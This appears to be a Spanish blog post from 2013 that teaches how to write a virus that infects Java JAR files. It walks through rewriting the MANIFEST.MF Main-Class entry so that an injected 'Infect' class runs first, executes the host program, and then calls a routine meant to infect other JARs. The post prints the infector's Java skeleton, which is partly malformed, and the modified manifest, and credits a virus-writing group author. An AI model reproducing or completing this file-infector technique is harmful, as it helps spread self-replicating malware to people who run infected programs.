miércoles, enero 02, 2013

Dia 106 - Como infectar un archivo JAR

Java es un potente lenguaje de programación desarrollado por Sun Microsystems, y que fue comprado por Oracle.Hace unos meses ya se publico una vulnerabilidad. 
Hoy te enseñamos como realizar una infección a un archivo de empaquetamiento de Java (.jar). 

Primeramente reseñar que el tutorial este es una recopilación de varias fuentes que podéis ver al final del mismo. Si queréis compartirlo, citar las fuentes originales que se han currado el trabajo. Un archivo JAR no es otra cosa que una compilación de varios archivos de JAVA. Para ello solo tenemos que introducir el comando correspondiente:

  java -jar archivo.jar

 Dentro tenemos el archivo manifest. Se usa para definir datos relativos a la extensión y al paquete. Es un archivo de metadatos llamado MANIFEST.MF y organizado con pares nombre-valor organizado en diferentes secciones. Si se pretende usar el archivo jar como ejecutable, el archivo de manifest debe especificar la clase principal de la aplicación. Esto como recordatorio, que también podéis encontrar info en esta web sobre los archivos JAR y en la documentacion oficial sobre JAVA de Oracle. Al lio. ¿Como funciona la infeccion? Realmente es muy sencillo, y es tan sencillo como listar los archivos .jar, buscar el manifest, buscal la clase principal y reemplazarla por nuesta clase infectada.

 Viendolo por pasos, un manifest:

  Manifest-Version: 1.0 
 Class-Path: 
 Main-Class: someClassName

 El codigo que compilaremos:

public class Infect { 

 public static void main ( String args [ ] ) { javax . swing . JOptionPane . showMessageDialog ( null, \"Hi this is Java Infect0r\nand welcome to Valhalla #3!\" ) ; 

 someClassName a = new someClassName ( ); 

 a . main ( args ) 

 CompileSourceInMemory b = new CompileSourceInMemory ( ) ; 

 try { b . main ( args ) ; 

 } catch ( Exception e ) { } 
 } 
 } 
 // create a temporary class with the name of the main class to prevent errors while compiling 

class someClassName 

public static void main ( String [ ] args ) 
{ System . out . println ( ) ;

} 

En esta clase se ejecuta el MainClass original ("someClassName"). Después de ejecutar el archivo original, se ejecuta el código del virus para infectar a otros archivos ("CompileSourceInMemory"). La segunda clase sólo se utiliza para evitar errores durante la compilación . Cuando el nuevo archivo se compila, el virus copia su propia clase y los nuevos archivos compilados en la carpeta temporal del fichero host, modifica el MANIFESTO.MF de modo que el Infect.class se ejecuta primero. Asi quedara nuestro manifest tras la infección:
Manifest-Version: 1.0
Class-Path:
Main-Class: Infect
Como conclusión, el autor relata la facilidad para escribir virus y malware usando el compilador de Java, creo que convendréis conmigo en que viene dado también por la potencia del lenguaje, y la difusión de un lenguaje potente pero peligroso.

Autor original del articulo:


R3s1stanc3 [vxnetw0rk]    December, 2012
r3s1stanc3@tormail.org - r3s1stanc3.virii.lu

No hay comentarios: